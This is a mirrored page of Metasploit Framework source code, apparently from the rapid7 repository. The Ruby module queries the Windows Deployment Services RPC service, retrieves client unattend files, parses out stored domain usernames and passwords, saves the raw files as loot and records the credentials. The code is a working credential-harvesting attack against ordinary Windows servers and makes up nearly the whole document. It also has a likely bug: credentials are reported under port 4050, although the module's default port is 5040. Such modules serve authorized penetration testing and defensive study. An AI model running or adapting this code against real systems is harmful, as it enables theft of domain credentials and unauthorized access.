Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'English'
7
class MetasploitModule < Msf::Auxiliary
8
include Msf::Exploit::Remote::DCERPC
9
include Msf::Auxiliary::Report
10
include Msf::Auxiliary::Scanner
11
12
DCERPCPacket = Rex::Proto::DCERPC::Packet
13
DCERPCClient = Rex::Proto::DCERPC::Client
14
DCERPCResponse = Rex::Proto::DCERPC::Response
15
DCERPCUUID = Rex::Proto::DCERPC::UUID
16
WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants
17
18
def initialize(info = {})
19
super(
20
update_info(
21
info,
22
'Name' => 'Microsoft Windows Deployment Services Unattend Retrieval',
23
'Description' => %q{
24
This module retrieves the client unattend file from Windows
25
Deployment Services RPC service and parses out the stored credentials.
26
Tested against Windows 2008 R2 x64 and Windows 2003 x86.
27
},
28
'Author' => [ 'Ben Campbell' ],
29
'License' => MSF_LICENSE,
30
'References' => [
31
['URL', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'],
32
['URL', 'http://rewtdance.blogspot.com/2012/11/windows-deployment-services-clear-text.html']
33
],
34
'Notes' => {
35
'Stability' => [CRASH_SAFE],
36
'SideEffects' => [],
37
'Reliability' => []
38
}
39
)
40
)
41
42
register_options(
43
[
44
Opt::RPORT(5040),
45
]
46
)
47
48
deregister_options('CHOST', 'CPORT', 'SSL', 'SSLVersion')
49
50
register_advanced_options(
51
[
52
OptBool.new('ENUM_ARM', [true, 'Enumerate Unattend for ARM architectures (not currently supported by Windows and will cause an error in System Event Log)', false])
53
]
54
)
55
end
56
57
def run_host(ip)
58
query_host(ip)
59
rescue ::Interrupt
60
raise $ERROR_INFO
61
rescue ::Rex::ConnectionError => e
62
print_error("#{ip}:#{rport} Connection Error: #{e}")
63
ensure
64
# Ensure socket is pulled down afterwards
65
begin
66
dcerpc.socket.close
67
rescue StandardError
68
nil
69
end
70
self.dcerpc = nil
71
self.handle = nil
72
end
73
74
def query_host(rhost)
75
# Create a handler with our UUID and Transfer Syntax
76
77
self.handle = Rex::Proto::DCERPC::Handle.new(
78
[
79
WDS_CONST::WDSCP_RPC_UUID,
80
'1.0',
81
],
82
'ncacn_ip_tcp',
83
rhost,
84
[datastore['RPORT']]
85
)
86
87
print_status("Binding to #{handle} ...")
88
89
self.dcerpc = Rex::Proto::DCERPC::Client.new(handle, sock)
90
vprint_good("Bound to #{handle}")
91
92
report_service(
93
host: rhost,
94
port: datastore['RPORT'],
95
proto: 'tcp',
96
name: 'dcerpc',
97
info: "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services"
98
)
99
100
table = Rex::Text::Table.new({
101
'Header' => 'Windows Deployment Services',
102
'Indent' => 1,
103
'Columns' => ['Architecture', 'Type', 'Domain', 'Username', 'Password']
104
})
105
106
WDS_CONST::ARCHITECTURE.each do |architecture|
107
if architecture[0] == :ARM && !datastore['ENUM_ARM']
108
vprint_status("Skipping #{architecture[0]} architecture as ENUM_ARM option is disabled")
109
next
110
end
111
112
begin
113
unattend_data = request_client_unattend(architecture)
114
rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e
115
vprint_error(e.to_s)
116
print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.")
117
next
118
end
119
120
next if unattend_data.nil?
121
122
loot_unattend(architecture[0], unattend_data)
123
results = parse_client_unattend(unattend_data)
124
125
results.each do |creds|
126
next if creds.empty?
127
next unless creds['username']
128
next unless creds['password']
129
130
print_good("Retrieved #{creds['type']} credentials for #{architecture[0]}")
131
report_creds(
132
creds['domain'] || '',
133
creds['username'],
134
creds['password']
135
)
136
table << [
137
architecture[0],
138
creds['type'],
139
creds['domain'] || '',
140
creds['username'],
141
creds['password']
142
]
143
end
144
end
145
146
if table.rows.empty?
147
print_error('No Unattend files received, service is unlikely to be configured for completely unattended installation.')
148
return
149
end
150
151
print_line
152
table.print
153
print_line
154
end
155
156
def request_client_unattend(architecture)
157
# Construct WDS Control Protocol Message
158
packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND)
159
160
guid = Rex::Text.rand_text_hex(32)
161
packet.add_var(WDS_CONST::VAR_NAME_CLIENT_GUID, guid)
162
163
# Not sure what this padding is for...
164
mac = [0x30].pack('C') * 20
165
mac << Rex::Text.rand_text_hex(12)
166
packet.add_var(WDS_CONST::VAR_NAME_CLIENT_MAC, mac)
167
168
arch = [architecture[1]].pack('C')
169
packet.add_var(WDS_CONST::VAR_NAME_ARCHITECTURE, arch)
170
171
version = [1].pack('V')
172
packet.add_var(WDS_CONST::VAR_NAME_VERSION, version)
173
174
wdsc_packet = packet.create
175
176
vprint_status("Sending #{architecture[0]} Client Unattend request ...")
177
dcerpc.call(0, wdsc_packet, false)
178
timeout = datastore['DCERPC::ReadTimeout']
179
response = Rex::Proto::DCERPC::Client.read_response(dcerpc.socket, timeout)
180
181
return unless response
182
return unless response.stub_data
183
184
vprint_status('Received response ...')
185
data = response.stub_data
186
187
# Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000
188
op_error_code = data.unpack('v*')[19]
189
190
if op_error_code != 0
191
vprint_error("Error code received for #{architecture[0]}: #{op_error_code}")
192
return
193
end
194
195
if data.length < 277
196
vprint_error("No Unattend received for #{architecture[0]} architecture")
197
return
198
end
199
200
vprint_status("Received #{architecture[0]} unattend file ...")
201
extract_unattend(data)
202
end
203
204
def extract_unattend(data)
205
start = data.index('<?xml')
206
finish = data.index('</unattend>')
207
if start && finish
208
finish += 10
209
return data[start..finish]
210
else
211
print_error('Incomplete transmission or malformed unattend file.')
212
return nil
213
end
214
end
215
216
def parse_client_unattend(data)
217
xml = REXML::Document.new(data)
218
return Rex::Parser::Unattend.parse(xml).flatten
219
rescue REXML::ParseException => e
220
print_error('Invalid XML format')
221
vprint_line(e.message)
222
return nil
223
end
224
225
def loot_unattend(architecture, data)
226
return if data.empty?
227
228
p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, architecture, 'Windows Deployment Services')
229
print_good("Raw version of #{architecture} saved as: #{p}")
230
end
231
232
def report_cred(opts)
233
service_data = {
234
address: opts[:ip],
235
port: opts[:port],
236
service_name: opts[:service_name],
237
protocol: 'tcp',
238
workspace_id: myworkspace_id
239
}
240
241
credential_data = {
242
origin_type: :service,
243
module_fullname: fullname,
244
username: opts[:user],
245
private_data: opts[:password],
246
private_type: :password
247
}.merge(service_data)
248
249
login_data = {
250
core: create_credential(credential_data),
251
status: Metasploit::Model::Login::Status::UNTRIED,
252
proof: opts[:proof]
253
}.merge(service_data)
254
255
create_credential_login(login_data)
256
end
257
258
def report_creds(domain, user, pass)
259
report_cred(
260
ip: rhost,
261
port: 4050,
262
service_name: 'dcerpc',
263
user: "#{domain}\\#{user}",
264
password: pass,
265
proof: domain
266
)
267
end
268
end
269
270